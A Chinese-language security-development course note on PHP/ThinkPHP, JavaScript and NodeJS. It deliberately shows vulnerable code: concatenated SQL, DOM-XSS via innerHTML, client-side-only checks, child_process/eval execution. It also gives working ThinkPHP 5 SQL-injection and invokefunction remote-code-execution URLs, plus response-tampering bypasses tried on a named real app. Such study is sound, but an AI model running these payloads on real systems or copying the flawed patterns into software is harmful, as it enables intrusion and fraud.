1 2 3 4 //用一半安全写法 有安全隐患 $ id =request()->param('x' ); $ data=Db::query("select * from news where id=$id " );
3、纯原生写法(完全不是用TP语法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 从GET请求中获取id参数,如果不存在则默认为1 $ id = $_GET ['id' ] ?? '1' ;// 构建SQL查询语句 $ sql = "select * from news where id=$id " ; echo $sql; // 执行查询并获取结果集 $ data = mysqli_query($con , $sql ); // 使用mysqli_fetch_row遍历结果集的每一行 while ($row = mysqli_fetch_row($data)) { // 从结果集中获取每一列的值,并存储到相应的变量中 $page_title = $row[1]; $heading = $row[2]; $subheading = $row[3]; $content = $row[4]; $item = $row[5]; }
2、框架版本安全 首先查看中间框架的版本是什么,如ThinkPHP的版本在thinkphp→thinkphp→tpl→base.php中查看
依据版本号去查找,出现过的漏洞,进行复现即可(没有绝对的安全)
例子1:写法内置安全绕过-TP5-SQL注入
http://192.168.137.1:84/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e&username[2]=1 ** sql注入可以通过报错返回当前数据库表名
http://192.168.137.1:84/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,database(),0x7e&username[2]=1 ** sql注入可以通过报错返回当前数据库名称
例子2:内置版本安全漏洞-TP5-代码执行
192.168.137.1:84/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 显示当前目录
192.168.137.1:84/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 显示当前电脑用户名
JavaScript 第一天 安全开发-JS应用&原生开发&JQuery库&Ajax技术 &前端后端&安全验证处理
参考
1、原生JS 教程https://www.w3school.com.cn/js/index.asp 2、jQuery库教程https://www.w3school.com.cn/jquery/index.asp
JS原生开发-文件上传-变量&对象&函数&事件 JS函数介绍 这一行代码是一个HTML中的JavaScript事件处理器,用于在文件选择框内容发生变化(用户选择文件)时触发相应的检查函数。具体来说:
1 <input type="file" id="file" name="f" onchange="CheckFileExt(this.value)">
onchange
: 这是一个HTML事件属性,表示在元素内容变化时触发。
CheckFileExt(this.value)
: 这是一个JavaScript函数调用,当文件选择框内容变化时,会调用名为 CheckFileExt
的函数,并将选择的文件路径(**this.value
** 表示当前元素的值,即文件路径)作为参数传递给该函数。
1 2 3 var index = filename.lastIndexOf(".") # 这段 JavaScript 代码用于获取文件名中最后一个点(.)后面的部分,即文件的扩展名。
1 2 3 var index = filename.lastIndexOf(".") # lastIndexOf("." ): 这是 JavaScript 字符串对象的方法,用于返回字符串中最后一个出现的点的索引位置。
1 2 3 var ext = filename.substr(index+1); # substr(index+1): 这是 JavaScript 字符串对象的方法,用于从字符串的指定位置(在这里是 index+1,即点的后一个位置)开始提取子字符串。这里的 ext 变量将包含文件的扩展名。
1 2 3 location.reload(true); # 这是一个 JavaScript 代码片段,用于重新加载当前页面
location.reload(true): 这是 JavaScript 的 location 对象的 reload 方法。reload 方法用于重新加载当前文档。传递 true 参数表示强制从服务器重新加载页面,而不使用缓存。如果省略参数或传递 false,则可能使用缓存进行重新加载。
这行代码的作用是强制刷新当前页面,确保获取最新的内容,而不使用浏览器缓存。
使用js实现文件上传
1 2 3 4 5 6 7 8 9 10 11 12 <!-- 表单用于文件上传,指定了上传的目标地址为 "upload.php" ,使用 POST 方法提交,并设置 enctype 为 "multipart/form-data" --> <form action="upload.php" method="POST" enctype="multipart/form-data"> <!-- 为文件上传输入框添加标签 --> <label for="file">选择文件:</label> <br> <!-- 这是一个包含文件上传输入框的 HTML 代码,并且在用户选择文件时触发 CheckFileExt 函数 --> <input type="file" id="file" name="f" onchange="CheckFileExt(this.value)"> <br> <!-- 提交按钮 --> <button type="submit">上传文件</button> </form>
1、布置前端页面,创建js目录,帮在js目录下创建upload.html 2、JS获取提交数据 3、JS对上传格式判断 4、后端对上传数据处理,创建upload文件目录保存上传文件,创建upload.php处理数据。
前端JS进行后缀过滤,后端PHP进行上传处理 架构:html js php - upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <script> function CheckFileExt (filename ){ var flag = false ; var exts = ['png' , 'gif' , 'jpg' ]; var index = filename.lastIndexOf ('.' ); var ext = filename.substr (index + 1 ); for (var i = 0 ; i < exts.length ; i++) { if (ext === exts[i]) { flag = true ; alert ('文件后缀名正确' ); break ; } } if (!flag) { alert ('文件后缀错误!' ) location.reload (true ); } } </script>
上传非[‘png’, ‘gif’, ‘jpg’]后缀中的文件
上传[‘png’, ‘gif’, ‘jpg’]后缀中的文件
安全问题 1、过滤代码能看到分析绕过
2、禁用JS或删除过滤代码绕过
JS导入库开发-登录验证-JQuery库&Ajax技术 相关函数 $.ajax()
是一个用于执行异步HTTP请求的jQuery函数。它允许您通过JavaScript代码向服务器发送请求,并在不刷新整个页面的情况下接收和处理响应。
用法示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ .ajax({ url: "example.com/data", // 请求的URL method: "GET", // HTTP请求方法(GET、POST等) data: { // 发送到服务器的数据(可选) param1: "value1", param2: "value2" }, success: function(response) { // 请求成功时的回调函数 console.log("请求成功!"); console.log(response); // 服务器响应的数据 }, error: function(xhr, status, error) { // 请求失败时的回调函数 console.log("请求失败!"); console.log(error); // 错误信息 } });
在这个示例中,我们通过url参数指定了服务器的URL,通过method参数指定了HTTP请求方法(这里是GET请求)。data参数是可选的,用于发送到服务器的数据。success回调函数在请求成功并且服务器返回响应时被调用,error回调函数在请求失败时被调用。
您可以根据需要在$.ajax()函数中使用其他参数,例如dataType指定服务器响应的数据类型,headers指定请求头,以及其他高级选项。
通过使用$.ajax()函数,您可以在JavaScript中方便地执行异步HTTP请求,并根据服务器的响应进行相应处理。
**$(“button”).click(function () { … })**选择所有的 元素,并为它们绑定一个点击事件处理函数。当用户点击任何一个按钮时,绑定的函数将被执行。
我们使用console.log()在控制台输出一条消息,表示按钮已被点击。您还可以执行其他操作,例如修改页面的内容、发送AJAX请求或执行其他JavaScript逻辑。
1 2 3 4 5 6 $ ("button" ).click(function () { // 在这里编写点击事件的处理代码 console.log("按钮被点击了!"); // 可以在这里执行其他操作,例如修改页面内容或发送AJAX请求等 });
$(‘.user’).val()和$(‘.pass’).val()用于获取具有user类和pass类的元素的值。
**$(‘.user’)**:这里使用了jQuery的选择器$(‘.user’)来选择所有具有user类的元素。这可以是一个输入框、文本框或其他表单元素。 **.val()**:这是一个jQuery函数,用于获取选定元素的值。在这个场景中,它被调用以获取具有user类的元素的值。 myuser:这是一个变量(或属性名),用于存储所选择元素的值。您可以根据需要更改变量名。
1 2 myuser: $('.user').val(), mypass: $('.pass').val()
$success 是一个关联数组变量,通过使用 ‘msg’ 作为键,将 ‘ok’ 作为值存储在其中。
1 2 $ success = array('msg' => 'ok' );
使用js实现登录验证 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <div class="login"> <!-- 登录标题 --> <h2>后台登录</h2> <!-- 用户名标签和输入框 --> <label for="username">用户名:</label> <input type="text" name="username" id="username" class="user"> <!-- 密码标签和输入框 --> <label for="password">密码:</label> <input type="password" name="password" id="password" class="pass"> <!-- 登录按钮 --> <button>登录</button> </div> <!-- 引入 jQuery 库 --> <script src="js/jquery-1.12.4.js"></script>** <!-- JavaScript 代码 --> <script> // 当按钮被点击时执行以下函数 $("button").click(function (){ // 使用 AJAX 发送 POST 请求到 'logincheck.php' $.ajax({ type: 'POST', url: 'logincheck.php', // 发送的数据包括用户名和密码 data: { myuser: $('.user').val(), mypass: $('.pass').val() }, // 请求成功时执行的函数 success: function (res){ console.log(res); // 如果返回的信息代码为1,表示登录成功,弹出提示并执行相应的处理 if(res['infoCode'] == 1){ alert('登录成功'); // 登录成功处理事件(注释部分为示例,可根据需要进行处理) // location.href='index.php'; } else { // 如果信息代码不为1,表示登录失败,弹出失败提示 alert('登录失败'); } }, // 指定返回的数据类型为 JSON dataType: 'json', }); }); </script>
操作步骤
0、布置前端页面在js目录下创建login.html,并引入JQuery库在js目录下创建js目录引入。 1、获取登录事件 2、配置Ajax请求 3、后端代码验证 4、成功回调判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $user = $_POST ['myuser' ];$pass = $_POST ['mypass' ];$success = array ('msg' => 'ok' );if ($user == 'xiaodi' && $pass == '123456' ) { $success ['infoCode' ] = 1 ; } else { $success ['infoCode' ] = 0 ; } echo json_encode ($success );
后端PHP进行帐号判断,前端JS进行登录处理 架构:html js login.html - logincheck.php
安全问题 当成功后的操作如跳转到其他页面写在js中,不安全
将抓到的包,设置其返回包也抓取,并将访问失败返回包的改为1发送,后登录成功
安全加固 当成功后的操作如跳转到其他页面写在PHP中,相对安全
前端js只起到判断作用,无法执行跳转等逻辑
JS导入库开发-逻辑购买-JQuery库&Ajax技术 使用js实现商品购买 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <!DOCTYPE html> <html lang="en"> <head> <!-- 设置文档的字符集为UTF-8 --> <meta charset="UTF-8"> <!-- 设置页面标题 --> <title>商品购买</title> </head> <body> <!-- 商品图片 --> <img src="iphone.jpg" width="300" height="300" alt=""><br> <!-- 当前拥有的金钱 --> 金钱:10000<br> <!-- 商品价格 --> 商品价格:8888<br> <!-- 输入购买数量的文本框 --> 数量:<input type="text" name="number" class="number"> <!-- 购买按钮 --> <button>购买</button> </body> </html> <!-- 引入 jQuery 库 --> <script src="js/jquery-1.12.4.js"></script> <!-- JavaScript 代码 --> <script> // 当购买按钮被点击时执行以下函数 $("button").click(function (){ // 使用 AJAX 发送 POST 请求到 'shop.php' **$.ajax({ type: 'POST', url: 'shop.php', // 发送的数据,包括购买数量 data: { num: $('.number').val(), }, // 请求成功时执行的函数 success: function (res){ // 在控制台输出返回的数据 console.log(res); // 如果返回的信息代码为1,表示购买成功 if(res['infoCode'] == 1){ // 弹出成功提示 alert('购买成功'); // 购买成功的流程(你可以在这里添加额外的处理) } else { // 如果信息代码不为1,表示购买失败 // 弹出失败提示 alert('购买失败'); } }, // 指定返回的数据类型为 JSON dataType: 'json', });** }); </script>
实现步骤
1、布置前端页面,在js目录下创建shop.html 2、获取登录事件 3、配置Ajax请求 4、后端代码验证 ,在js目录下创建shopcheck.php 5、成功回调判断
架构:html js shop.html - shopcheck.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $num = $_POST ['num' ];$success = array ('msg' => 'ok' );** if (10000 >= ($num * 8888 )) { $success ['infoCode' ] = 1 ; } else { $success ['infoCode' ] = 0 ; } echo json_encode ($success );**?>
如果购买量大于持有金额,就会提示失败
安全性:将抓到的包,设置其返回包也抓取,并将访问失败返回包的改为1发送,后购买成功。
当成功后的操作如购买成功后的逻辑到其他页面写在js中,不安全
实例测试-某违规APP-密码找回&JS验证逻辑安全 1.使用福利期货为实验对象,先开启抓包获取到正确的验证嘛回显结果
2.再次点击忘记密码,验证码可以乱输,将返回的错误验证码回显数据,修改为刚刚记录的正确值→验证成功,成功进入修改密码页面
第二天 JS应用&DOM树&加密编码库&断点调试&逆向分析&元素属性操作
JS技术-DOM树操作及安全隐患 DOM:文档操作对象
浏览器提供的一套专门用来操作网页代码内容 的功能,实现自主或用户交互动作反馈
在Web开发中,浏览器将HTML文档解析为DOM树的结构。DOM树由节点(Nodes)组成,节点可以是元素节点、文本节点、注释节点等。每个节点都有与之相关联的属性、方法和事件。 通过使用DOM,您可以通过JavaScript或其他支持DOM的编程语言来访问和操作HTML文档的内容、结构和样式。您可以使用DOM提供的方法和属性来选择元素、修改元素的属性和内容、添加或删除元素,以及响应用户交互等。
1、获取对象
标签:直接写 Class:加上符号. id:加上符号#
具体来说,document
是代表整个文档的对象,而 querySelector()
是在文档中查找与指定选择器匹配的第一个元素的方法。
1 2 3 4 5 6 7 8 9 10 11 12 <!-- 这是标题 --> <h1 id="myHeader" onclick="getValue()">这是标题</h1> <!-- 选择第一个 h1 元素 --> document.querySelector('h1') <!-- 选择所有具有 'id' 类的元素 --> document.querySelector('.id') <!-- 选择具有 'myHeader' id 的元素 --> document.querySelector('#myHeader')
2、获取对象属性
console.log():
是一个用于在控制台输出信息的方法。它是由浏览器或其他 JavaScript 运行环境提供的调试工具。通过调用 console.log(),您可以在控制台中输出消息、变量的值、调试信息等,以便在开发过程中进行调试和测试。
1 2 3 4 例如: console.log("Hello, world!"); 这行代码将在控制台输出字符串 "Hello, world!"。
const:
是 JavaScript 中的一个关键字,用于声明一个只读的常量变量。使用 const 声明的变量不能被重新赋值 。一旦被赋值后 ,它的值就不能再改变。
1 2 3 4 例如: const PI = 3.14159; 这行代码声明了一个常量 PI,其值为 3.14159。由于是常量,PI 的值不能再被修改。
总结:console.log() 是一个用于输出信息到控制台的方法,而 const 是一个关键字,用于声明只读的常量变量。它们在功能和用途上是完全不同的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!-- HTML代码 --> <h1 id="myHeader" onclick="getValue()">这是标题</h1> <!-- JavaScript代码 --> <script> // 选择第一个 h1 元素 const h1 = document.querySelector('h1'); **// 获取 h1 元素的 id 属性 const id = h1.id; // 输出 id 到控制台 console.log(id);** </script>
3、操作元素数据
innerHTML 解析后续代码
1 2 3 4 var element = document.getElementById("myElement"); var htmlContent = element.innerHTML; // 获取元素的内容(包括 HTML 标记) **element.innerHTML = "<b>New Content</b>"; // 设置元素的内容,并解析 HTML 标记**
innerText 不解析后续代码
1 2 3 4 var element = document.getElementById("myElement"); var textContent = element.innerText; // 获取元素的纯文本内容 element.innerText = "New Text Content"; // 设置元素的纯文本内容**
innerHTML 解析后续代码
1 2 3 4 5 6 7 8 9 <h1 id="myHeader" onclick="update1()">这是标题</h1> <script> function update1(){ const h1=document.querySelector('h1') **h1.innerHTML="这是小迪<Hr>"** console.log(str) } </script>
innerText 不解析后续代码
1 2 3 4 5 6 7 8 9 <h1 id="myHeader" onclick="update1()">这是标题</h1> <script> function update1(){ const h1=document.querySelector('h1') h1.innerText="这是小迪<Hr>" console.log(str) } </script>
安全问题: 本身的前端代码通过DOM技术实现代码的更新修改,但是更新修改如果修改的数据可以由用户来指定,就会造成DOM-XSS攻击
网易云翻译:可以使用带外dns,造成数据库ip泄露
update1
函数通过 innerHTML
插入带有 onerror
事件的 img
元素 ,这可能导致 XSS(跨站脚本攻击)漏洞 。在实际应用中,需要谨慎处理用户提供的内容,以防止安全漏洞。
1 2 3 4 5 6 7 8 9 <h1 id="myHeader" onclick="update1()">这是标题</h1> <script> function update1(){ const h1=document.querySelector('h1') **h1.innerHTML='<img src=# οnerrοr="alert(1)">'** console.log(str) } </script>
JS导入库开发-编码加密-逆向调试 MD5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!-- 引入 md5.js 脚本 --> <script src ="js/md5.js" > </script > <!-- JavaScript 代码 --> <script > var str1 = 'xiaodi jichu No1' ; var str_encode = md5 (str1); console .log (str_encode); </script >
输出:afe5119ec0ab46b55432fc5e24f1dc62
SHA1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!-- 引入 crypto-js.js 脚本 --> <script src="js/crypto-js.js"></script> <!-- JavaScript 代码 --> <script> // 定义字符串变量 var str1 = 'xiaodisec'; // 使用 CryptoJS.SHA1 函数对字符串进行 SHA-1 加密,并将结果转为字符串 var str_encode = CryptoJS.SHA1(str1).toString(); // 输出加密后的字符串到控制台 console.log(str_encode); </script>
输出:ce22eaa1c5ebd3dfb3f4474b66f6d3612d4cb3ee
HMAC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <!-- 引入 crypto-js.js 脚本 --> <script src="js/crypto-js.js"></script> <!-- JavaScript 代码 --> <script> // 定义密钥和字符串变量 var key = 'key'; var str1 = 'xiaodisec'; // 使用 CryptoJS.HmacSHA256 函数生成 HMAC-SHA256 散列 var hash = CryptoJS.HmacSHA256(key, str1); // 将散列结果转为十六进制字符串 var str_encode = CryptoJS.enc.Hex.stringify(hash); // 输出加密后的字符串到控制台 console.log(str_encode); // 输出示例:'11a7960cd583ee2c3f1ed910dbc3b6c3991207cbc527d122f69e84d13cc5ce5c' </script>
输出:08ac6dc8773bd34dcadeffb2b90a8b8f5be9453a9dce7cf09d4da2fcb363d9e7
AES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <script src="js/crypto-js.js" ></script> <script type ="text/javascript" > var aseKey = "12345678" var message = "xiaodisec" ; var encrypt = CryptoJS .AES .encrypt (message, CryptoJS .enc .Utf8 .parse (aseKey), { mode : CryptoJS .mode .ECB , padding : CryptoJS .pad .Pkcs7 } ).toString (); console .log (encrypt); var decrypt = CryptoJS .AES .decrypt (encrypt, CryptoJS .enc .Utf8 .parse (aseKey), { mode : CryptoJS .mode .ECB , padding : CryptoJS .pad .Pkcs7 } ).toString (CryptoJS .enc .Utf8 ); console .log (decrypt); </script >
输出:g4ohopaiYA34XXLsV92Udw== xiaodisec
DES 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <script src="js/crypto-js.js" ></script> <script type ="text/javascript" > var aseKey = "12345678" var message = "xiaodisec" ; var encrypt = CryptoJS .DES .encrypt (message, CryptoJS .enc .Utf8 .parse (aseKey), { mode : CryptoJS .mode .ECB , padding : CryptoJS .pad .Pkcs7 } ).toString (); console .log (encrypt); var decrypt = CryptoJS .DES .decrypt (encrypt, CryptoJS .enc .Utf8 .parse (aseKey), { mode : CryptoJS .mode .ECB , padding : CryptoJS .pad .Pkcs7 } ).toString (CryptoJS .enc .Utf8 ); console .log (decrypt); </script >
输出:WVSwdlodMcV2n1FH72uXgw== xiaodisec
RSA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <script src="js/jsencrypt.js" ></script> <script type ="text/javascript" > var PUBLIC_KEY = '-----BEGIN PUBLIC KEY-----MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALyBJ6kZ/VFJYTV3vOC07jqWIqgyvHulv6us/8wzlSBqQ2+eOTX7s5zKfXY40yZWDoCaIGk+tP/sc0D6dQzjaxECAwEAAQ==-----END PUBLIC KEY-----' ; var PRIVATE_KEY = '-----BEGIN PRIVATE KEY-----MIIBVQIBADANBgkqhkiG9w0BAQEFAASCAT8wggE7AgEAAkEAvIEnqRn9UUlhNXe84LTuOpYiqDK8e6W/q6z/zDOVIGpDb545NfuznMp9djjTJlYOgJogaT60/+xzQPp1DONrEQIDAQABAkEAu7DFsqQEDDnKJpiwYfUE9ySiIWNTNLJWZDN/Bu2dYIV4DO2A5aHZfMe48rga5BkoWq2LALlY3tqsOFTe3M6yoQIhAOSfSAU3H6jIOnlEiZabUrVGqiFLCb5Ut3Jz9NN+5p59AiEA0xQDMrxWBBJ9BYq6RRY4pXwa/MthX/8Hy+3GnvNw/yUCIG/3Ee578KVYakq5pih8KSVeVjO37C2qj60d3Ok3XPqBAiEAqGPvxTsAuBDz0kcBIPqASGzArumljkrLsoHHkakOfU0CIDuhxKQwHlXFDO79ppYAPcVO3bph672qGD84YUaHF+pQ-----END PRIVATE KEY-----' ; var encrypt = new JSEncrypt (); encrypt.setPublicKey (PUBLIC_KEY ); var message = 'xiaodisec' var encrypted = encrypt.encrypt (message); console .log (encrypted) var decrypt = new JSEncrypt (); decrypt.setPrivateKey (PRIVATE_KEY ); var uncrypted = decrypt.decrypt (encrypted); console .log (uncrypted); </script >
输出:Fw1H5KoC6zZnwAzLee8z5ubmQYSqaVqu711VI+NBavYT9bkWpzxUtZHmbSUvLbuCblPO96NdfoQHtPe9TURo6A== xiaodisec
逆向调试 浏览器控制台比对:发出疑问如果加密格式不显示出来,怎样判断密码加密的方式是什么?
打开页面,选择密码右击鼠标打开检查
找到相关id值edtPassWord,并进行搜索$("#btnPost").click(function()
加#后证明是想取id值中的edtPassWord
<input type="text" **id="edtUserName"** name="edtUserName" size="20" value="" tabindex="1">
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 - 找到密码的加密方式`$("#password").val(**MD5**(strPassWord));` 为MD5 - 尝试传递数据,发现提交的表达数据中密码确实加密的btnPost=%E7%99%BB%E5%BD%95&username=admin&**password=e10adc3949ba59abbe56e057f20f883e**&savedate=1  - 分析代码过程:发出疑问如果加密格式不显示出来,怎样判断加密的方式是什么 - **可以借助检查的控制台,尝试输入获取加密后的密码值,再和提交表单的加密值进行比对,若一致则证明识别出。(一般安全防护比较强的,不会把运行的所以东西全加载到浏览器上)** ```shell MD5('xiaodi') 'bb1be44c4f8e615aeba54e9d233c23b6'
断点调试:一般安全防护比较强的,不会把运行的所有东西全加载到浏览器上,所以要执行断点调试
申通 申通快递会员中心-登录
打开页面,选择密码右击鼠标打开检查找到相关id值**numPassword
** 并进行搜索
找到密码的加密格式,但是没有明文展现出来
1 2 3 4 logindata.UserName = encodeURI(encrypt.encrypt(numMobile)); logindata.Mobile = encodeURI(encrypt.encrypt(numMobile));; //加密密码 logindata.Password = encodeURI(encrypt.encrypt(numPassword));
采用之前的方式在控制台中输入相应的代码encodeURI(encrypt.encrypt(numPassword))报错encrypt is not defined ,有一些文件只在服务器本地执行,不会加载到浏览器中
必须采用调试断点的方式来,通过服务器获取其执行文件,然后修改对应的返回密文即可
对应地方打上断点,点击登录,进入断点调试 ,发现右侧出现输入的账号密码内容
点击最右侧按钮 ,进入调试,再次打开控制台,并输入encodeURI(encrypt.encrypt(numPassword))
发现成功回显加密后的密码
将其修改为SQL注入 的语句,也成功返回加密内容
详细步骤
第三天 安全开发-JS应用&NodeJS指南&原型链污染&Express框架&功能实现&审计
NodeJS-解析安装&库安装 NodeJS
是运行在服务器端的框架,无法查看源码
文档参考:
https://www.w3cschool.cn/nodejs/
Nodejs安装:
https://nodejs.org/en
三方库安装:
express
Express是一个简洁而灵活的node.js Web应用框架
body-parser
node.js中间件,用于处理 JSON, Raw, Text和URL编码的数据。
cookie-parser
这就是一个解析Cookie的工具。通过req.cookies可以取到传过来的cookie,并把它们转成对象。
multer
node.js中间件,用于处理 enctype=“multipart/form-data”(设置表单的MIME编码)的表单数据。
mysql
Node.js来连接MySQL专用库,并对数据库进行操作。
安装命令:
npm i express npm i body-parser npm i cookie-parser npm i multer npm i mysql
创建sql.js文件并粘贴实例代码
1 2 3 4 5 npm config set registry [https://registry.npmmirror.com](https://link.zhihu.com/?target=https%3A//registry.npmmirror.com) # 查看是否更换 npm config get registry
发现展示hello
创建sql.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 var express = require ('express' );var app = express ();app.get ('/' , function (req, res ) { res.send ('Hello World' ); }); var server = app.listen (3000 , function ( ) { var host = server.address ().address ; var port = server.address ().port ; console .log ("应用实例,访问地址为 http://%s:%s" , host, port); });
设置不同的页面渲染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 const express = require ('express' );const app = express ();app.get ('/login' , function (req, res ) { res.send ('<hr>登录页面</hr>' ); }); app.get ('/' , function (req, res ) { res.sendFile (__dirname + '/' + 'sql.html' ); }); const server = app.listen (3001 , function ( ) { console .log ('Web 服务器已经启动,监听端口 3001!' ); });
NodeJS-数据库&文件&执行 1、实现用户登录
req.query 用于处理 URL 查询字符串参数GET请求 ,而 req.body 用于处理 POST 请求 中的表单数据。 还需要下载const bodyParser = require(‘body-parser’); 相关库 npm i body-parser 并且post请求还需要创建一个解析URL编码 的bodyParser 中间件实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express (); 创建一个用于解析 URL 编码的 bodyParser 中间件实例 const urlencodedParser = bodyParser.urlencoded ({ extended : false });app.get ('/login' , function (req, res ) { const u = req.query .username ; const p = req.query .password ; console .log (u); console .log (p); if (u === 'admin' && p === '123456' ) { res.send ('欢迎进入后台管理页面' ); } else { res.send ('登录用户或密码错误' ); } }); app.post ('/login' , urlencodedParser, function (req, res ) { const u = req.body .username ; const p = req.body .password ; console .log (u); console .log (p); if (u === 'admin' && p === '123456' ) { res.send ('欢迎进入后台管理页面' ); } else { res.send ('登录用户或密码错误' ); } }); app.get ('/' , function (req, res ) { res.sendFile (__dirname + '/' + 'sql.html' ); }); const server = app.listen (3001 , function ( ) { console .log ('Web 服务器已经启动,监听端口 3001!' ); });
sql.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > 后台登录</title > <style > body { background-color : #f1f1f1 ; } .login { width : 400px ; margin : 100px auto; background-color : #fff ; border-radius : 5px ; box-shadow : 0 0 10px rgba (0 ,0 ,0 ,0.3 ); padding : 30px ; } .login h2 { text-align : center; font-size : 2em ; margin-bottom : 30px ; } .login label { display : block; margin-bottom : 20px ; font-size : 1.2em ; } .login input [type="text" ] , .login input [type="password" ] { width : 100% ; padding : 10px ; border : 1px solid #ccc ; border-radius : 5px ; font-size : 1.2em ; margin-bottom : 20px ; } .login input [type="submit" ] { background-color : #2ecc71 ; color : #fff ; border : none; padding : 10px 20px ; border-radius : 5px ; font-size : 1.2em ; cursor : pointer; } .login input [type="submit" ] :hover { background-color : #27ae60 ; } </style > </head > <body > <div class ="login" > <h2 > 后台登录</h2 > <form action ="http://127.0.0.1:3000/login" method ="POST" > <label for ="username" > 用户名:</label > <input type ="text" name ="username" id ="username" class ="user" > <label for ="password" > 密码:</label > <input type ="password" name ="password" id ="password" class ="pass" > <button > 登录</button > </form > </div >
加入数据库操作
导入mysql ,npm i mysql下载相关依赖
1 const mysql = require ('mysql' );
1 2 3 4 5 6 7 var connection = mysql.createConnection({ host : 'localhost', user : 'root', password : 'root', database : 'demo01' });
与mysql建立连接并执行查询语句,查询数据库的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 connection.connect (); const sql ='select * from admin' ;connection.query (sql, function (error, data ){ if (error){ console .log ('数据库连接失败!' ); } console .log (data); console .log (data[0 ]['username' ]); console .log (data[0 ]['password' ]); });
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 app.post ('/login' , urlencodedParser, function (req, res ) { const u = req.body .username ; const p = req.body .password ; console .log (u); console .log (p); var connection = mysql.createConnection ({ host : 'localhost' , user : 'root' , password : 'root' , database : 'dome01' }); connection.connect (); const sql = 'select * from admin where username="' +u+'" and password="' +p+'"' ; console .log (sql); connection.query (sql, function (error, data ){ if (error){ console .log ('数据库连接失败!' ); } try { if (u == data[0 ]['username' ] && p == data[0 ]['password' ]){ res.send ('欢迎进入后台管理页面' ); } } catch { res.send ('错误' ); }; }); })
文件操作
导入fs ,npm i fs下载相关依赖npm i fs
1 2 const fs = require ('fs' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 const fs = require ('fs' );const express = require ('express' );const app = express ();app.get ('/file' , function (req, res ) { const dir = req.query .dir ; console .log (dir); filemanage (dir); }); var server = app.listen (3000 , function ( ) { console .log ('Web应用已启动在3000端口!' ); }); function filemanage (dir ) { fs.readdir (dir, function (error, files ) { console .log (files); }); }
大体步骤
1、Express开发 2、实现目录读取 3、加入传参接受
命令执行(RCE)
导入child_process ,npm i child_process下载相关依赖
1 const rce=require ('child_process' );
exec & spawnSync调用系统命令
eval调用代码命令执行 ,将字符串当做代码解析
1 2 3 4 5 6 7 8 9 10 11 12 13 const rce = require ('child_process' );rce.exec ('notepad' ); rce.spawnSync ('calc' ); eval ('require("child_process").exec("calc");' );
安全问题 NodeJS-注入&RCE&原型链
sql注入&文件操作
2、RCE执行&原型链污染 2、NodeJS黑盒无代码分析
实战测试NodeJS安全
判断:参考前期的信息收集 黑盒:通过对各种功能和参数进行payload测试 白盒:通过对代码中写法安全进行审计分析
信息收集(Reconnaissance): 收集应用程序的基本信息,如版本号、依赖项版本等。 查看应用程序的公开文档,了解其工作原理和功能。 分析配置文件,查看是否有敏感信息泄漏的风险。 黑盒测试(Black Box Testing): 通过输入字段,尝试注入攻击,例如 SQL 注入、XSS(跨站脚本攻击) 等。 测试文件上传功能,确保上传的文件受到适当的限制和验证。 构造恶意请求,测试是否存在拒绝服务(DoS)漏洞。 尝试绕过身份验证和授权,确保访问控制的有效性。 白盒测试(White Box Testing): 对代码进行审计,查找潜在的安全问题。 检查是否存在明文密码、硬编码的敏感信息等。 确保应用程序对用户输入进行适当的验证和转义,以防止注入攻击。 避免使用不安全的函数和方法,如 eval、exec 等。 确保文件上传和下载等操作受到适当的安全限制。 检查是否启用了适当的安全头,如 CSP(内容安全策略)、X-Frame-Options、X-Content-Type-Options 等。
依赖项安全: 定期审查依赖项的更新和安全漏洞。 使用安全审计工具,如 npm audit,来检查依赖项的安全性。 使用仅允许信任的依赖项,并确保避免使用已弃用或存在漏洞的依赖项。
原型链污染 如果攻击者控制并修改了一个对象的原型,(proto ) 那么将可以影响所有和这个对象来自同一个类、父祖类的对象
